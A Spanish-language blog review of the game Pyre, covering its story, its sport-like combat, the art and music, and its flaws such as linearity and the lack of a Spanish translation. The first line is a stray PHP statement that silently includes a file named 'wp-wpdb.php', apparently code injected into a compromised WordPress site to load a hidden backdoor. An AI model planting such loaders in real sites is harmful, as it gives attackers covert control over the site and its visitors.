if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Pyre – La Fortaleza de LeChuck

Análisis Pyre

Todo lo que hace Supergiant Games lo sigo muy de cerca. Por eso, cuando vi las primeras imágenes de Pyre, enseguida me interesó el nuevo concepto y estilo artístico que nos presentaban. Pyre mezcla deporte y RPG de una forma muy curiosa, pero seguid leyendo y entenderéis mejor lo que os cuento.

Supergigant Games es una compañía a la que le encanta salirse de su zona de confort. Su primer juego fue Bastion, un ARPG que demostró que el estudio tenía talento de sobras. Años más tarde, volvieron con un maravilloso RPG por turnos futurista llamado Transistor y, ahora, se lanzan a la piscina sin flotador con un juego «deportivo». Renovarse o morir, dirían por ahí.

Downside, nuestro nuevo hogar y el mundo donde arrojan a los convictos y enemigos hasta que sucumben y desaparecen. Desde la Commonwealth, nos han desterrado a un inmenso yermo y nuestro cuerpo se haya desfallecido entre la arena. A lo lejos se oye un carro acercarse pero estamos agotados como para enfrentarnos a un posible peligro. De repente, un enmascarado se acerca, su nombre es Hedwyn, pero por suerte es un alma cándida y nos ofrece agua. Junto a él están dos enmascarados más: una mujer fornida llamada Jodariel y un pequeño animal que responde al nombre de Rukey. Los tres personajes se desenmascaran y nos ofrecen viajar con ellos, pero nada más aceptar nos hacen una pregunta que nos descoloca: «¿Sabes leer?» La lectura está prohibida en aquel mundo pero aún así con temor contestamos que sí. Nuestros nuevos amigos nos muestran un enigmático tomo, El Libro de los Ritos, donde se relata la importancia de los combates que representan el billete de salida de Downside.

Pyre es un juego que mezcla varios conceptos y les da una vuelta de tuerca. El título consta de una parte de aventura narrativa en primera persona muy al estilo japonés y otra de acción en el campo de batalla. Durante nuestro trayecto en el carro, se desarrollan los diálogos con nuestros compañeros y la toma decisiones que afianzará la relación con ellos. Es así como el juego nos deja elegir frases para aumentar el nivel de afinidad, ahondar en su pasado y el camino hasta el siguiente rito. Nuestros aliados tienen sus propias preferencias y dependiendo del itinerario que elijas, te ganarás su confianza.

Después de poner rumbo hacia nuestro destino, es el momento de conocer el nuevo deporte que se ha sacado de la manga el estudio: unos combates en tiempo real 3 contra 3 en el que el objetivo es marcar en la base enemiga. Un orbe hace de pelota y se puede pasar a los compañeros, correr con él y saltar hasta donde nos permita la barra de energía y lanzarlo en su base hasta que la llama se extinga. No obstante, la violencia es bienvenida, y para robar el orbe pulverizaremos momentáneamente al rival, lo que provoca que se ralentice su reaparición. Al comienzo, en el nivel normal que viene por defecto, me resultaba muy fácil derrotar al enemigo pero a medida que me acercaba al desenlace fue necesario establecer tácticas y elegir bien a los 3 personajes. El jugador será el que maneje el cotarro desde el «banquillo» cual entrenador de un club, es decir, no estará en ningún momento en el campo y controlará a los personajes y todo el juego desde otro plano. Somos el «reader», al fin y al cabo. Y como todo buen deporte, no faltará el comentarista llamado aquí «la voz», que dará esa pizca de espectacularidad al torneo.

Desgraciadamente, los compañeros que no disponen del «balón» no avanzan manejados por la IA, sino que permanecen inmóviles allá donde se quedaron. Solo podemos controlar a un personaje a la vez, y si queremos cambiar, tenemos que pasar el balón. Esta regla me hacía sentir que estaba en un juego de 1v3 al no tener el apoyo del equipo. Los ritos pueden resultar un tanto complejos en un primer momento por los controles confusos (con teclado y ratón es un poco caótico), pero con el tutorial y después de unos minutos de prueba y error, dominaremos las técnicas de este curioso deporte. Por cierto, tiene un modo multijugador local para echar unos partidos con amigos.

Por cada victoria, los personajes subirán de nivel y el jugador podrá elegir entre nuevas habilidades para desbloquear con el fin de moldear al equipo a nuestro gusto. También se pueden equipar objetos llamados talismanes para gozar de cierta ventaja. Es importante cuidar nuestras conversaciones para así tener afinidad con un personaje determinado, lo cual se traducirá en puntos de atributo para el siguiente combate, ¡tratádtamelos con amor! Para seguir con nuestro viaje y dar con el siguiente rito, el jugador leerá un mapa estelar indicando cuál es la próxima estrella. Es importante señalar que aunque fracasemos en los ritos, el juego no termina; simplemente tendremos que aceptar las consecuencias por muy terribles que sean y seguir hacia delante. No hay que olvidar que nuestra participación en esta «liga» es para volver a casa, y a medida que ganemos encuentros, algunos de nuestros compañeros lograrán la salvación, momento en el que llega la agria despedida. Después de compartir pequeños momentos, no los volveremos a ver más, y tampoco los tendremos en los partidos.

Nuevos personajes se unirán al grupo a lo largo de la historia y nuevas variantes entrarán en juego. Un personaje que me gustó especialmente fue una chica que encontramos deambulando felizmente por el mundo y que quiso unirse, pero no recordaba su nombre más allá de que rimaba con «grey» (gris). Su personalidad alocada y alegría contagiosa, además de su ayuda en combate, hizo que me encariñara de ella. Esto será frecuente en la recta final de Pyre, donde después de muchas aventuras con el equipo, la conclusión se acerca y el destino para cada uno de ellos emerge.

A pesar de la originalidad de Pyre, tras varias horas jugando, las limitaciones jugables pesan. El mayor defecto es que se sostiene básicamente en los ritos. El trayecto con el carro es automático, y la porción de novela visual entre combates es normalmente breve con decisiones puntuales que enseguida finalizan hasta que el jugador se ve obligado a volver a disputar un partido. No hay misiones secundarias, ni pueblos o lugares en los que perderse. Personalmente, me moría de ganas de explorar el mundo de Downside y huir del desarrollo lineal, y no podía evitar imaginarme cómo sería Pyre con vista isométrica y una jugabilidad similar a la de títulos anteriores.

Otra pega es que está solo en inglés, y aunque no tenga un volumen excesivo de líneas de texto, no utiliza un vocabulario común y consultar el diccionario será una necesidad recurrente si queremos comprender el trasfondo de los personajes.

Gráficamente, el juego entra desde un primer momento por la vista. El arte es francamente precioso con una paleta de colores vibrante que nos zambulle en el ambiente de fantasía. También hay que destacar el diseño simpático y elegante de cada uno de los personajes con los que nos topamos, al igual que el paisaje irregular digno de un cuento. Y no me quiero olvidar del interior del carro, lleno de elementos interactuables que al hacer clic cobran vida. Además, va cambiando a medida que se unen más personajes a nuestras filas. Me recordó a las ilustraciones de los libros infantiles que tienen esas pequeñas tiras que al moverlas se hace la magia. Asimismo, los campos donde tienen lugar los ritos cambian para que el jugador note el reto en cada localización.

La banda sonora de Pyre es obra del compositor Darren Korb, quien con sus melodías te transporta a la historia de cada desterrado. Me encantó el detalle de poder reproducir las pistas a través del laúd que dejó dentro del carro el trovador del grupo.

Pyre es un juego lleno de buenas ideas y con un nivel artístico cautivador, pero las limitaciones de diseño y su sistema de combate en ocasiones torpe, hace que tras horas de juego la atención se mantenga en su parte de novela gráfica. Por otro lado, la falta de localización a nuestro idioma es un obstáculo para aquellos que no dispongan de un nivel de inglés avanzado. Aún así, el juego tiene pequeños detalles que hacen que nuestra andadura entre ritos valga la pena.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

Dejar un comentario